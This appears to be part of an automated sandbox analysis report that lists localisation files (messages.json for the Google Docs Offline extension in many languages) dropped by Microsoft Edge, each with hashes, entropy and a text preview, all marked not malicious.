C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
